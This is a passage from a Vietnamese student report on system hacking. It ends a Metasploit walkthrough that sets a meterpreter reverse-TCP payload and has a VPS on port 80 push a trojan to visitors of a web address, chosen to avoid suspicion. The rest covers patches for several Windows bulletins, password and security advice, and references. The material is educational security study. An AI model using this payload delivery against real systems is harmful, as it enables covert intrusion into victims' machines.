Page 45: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 45

(Chọn port 80, VPS như một Web Server, tránh sự nghi ngờ của

người dùng)

> set payload windows/meterpreter/reverse_tcp

(Cách tấn công vào trong hệ thống)

> exploit

Công việc tiếp theo là chờ cho máy mục tiêu truy cập vào địa chỉ:

http://14.0.21.184/test. Ngay lúc đó, server trên VPS chúng ta sẽ tiến hành gửi

trojan về máy mục tiêu. Bây giờ ta có thể tiến hành khai thác tại máy mục tiêu

4.3 Phương pháp khắc phục lỗ hổng

Ms06-067: Cập nhập hệ điều hành lên phiên bản Service Pack 2

Ms10-046: tải gói KB286198 để vài đặt vào trong hệ thống hoặc cập nhật hệ

điều hành lên phiên bản hệ điều hành mới hơn

Ms11-003: Cập nhập hệ điều hành lên phiên bản mới nhất

Ms12-063: tải gói vá lỗi KB2744842 để cài đặt vào trong hệ thống

Ms13-009: tải gói vá lỗi KB2792100 để cài đặt vào trong hệ thống

Page 46: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 46

PHẦN 3: TỔNG KẾT

Với những kiểu tấn công hệ thống dựa trên những lỗi sai sót trong quá trình

sử dụng máy tính hoặc các lỗi về bảo mật vật lý, có một số phương pháp nhằm

giảm thiểu và phòng tránh việc Hacker đánh cắp Mật khẩu như sau:

– Mật khẩu phải được đặt nhiều hơn 8 ký tự và phải là tổng hợp giữa chữ

hoa, chữ thường, số và ký tự đặc biệt để các chương trình khó dò ra.

– Cấu hình trong registry cho mật khẩu trong hệ thống windows chỉ được

băm và lưu dưới dạng NTLM để các chương trình khó khăn để dò tìm

– Người dùng admin nên xóa tập tin sam trong thư mục Windows/repair

sau mỗi lần backup dữ liệu bằng rdisk.

Trong quá trình sử dụng máy tính để truy cập Internet, cần lưu ý:

– Không mở tập tin đính kèm thư điện tử có nguồn gốc không rõ ràng hoặc

không tin cậy.

– Chắc chắn rằng bạn có và đã bật hệ thống tường lửa cho hệ thống của

mình.

– Đảm bảo Windows của bạn được cập nhật thường xuyên, phần mềm bảo

mật của bạn có chức năng cập nhật "live" (tự động cập nhật trực tuyến).

– Cài đặt phần mềm diệt virut Internet Security.

– Luôn sử dụng các bản Office có bản quyền để luôn được cập nhật vá lỗi

và hỗ trợ kỹ thuật từ nhà cung cấp.

Microsoft đã xây dựng một loạt các công cụ trong Windows để các nhà quản

trị cũng như người dùng có kinh nghiệm có thể phân tích chiếc máy tính của mình

xem liệu nó có đang bị xâm phạm hay không. Một khi nghi ngờ máy tính của mình

bị xâm nhập, người dùng có thể sử dụng các công cụ này để tự kiểm tra máy tính

của mình khi có những biểu hiện đáng ngờ: WMIC, Lệnh net, Openfiles, Netstat,

Find.

Page 47: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 47

DANH MỤC TÀI LIỆU THAM KHẢO

Nguyễn Sơn Khê, Đỗ Tấn Phát, Nguyễn Cao Thắng, Athena – Sử dụng

BackTrack 5 khai thác lỗ hổng mạng.

http://www.hackyshacky.com/2013/03/how-to-hack-facebook-with-

backtrack-5.html

https://www.youtube.com/watch?v=g1Xo7K2osxE&list=PL6Elfw63yI9RVQ

LXsK_V7XyHmiJc_9v56

http://nvkhoiit.blogspot.com/

http://www.slideshare.net/Anhphailamthenao/bo-co-thc-tp-system-

hacking?related=5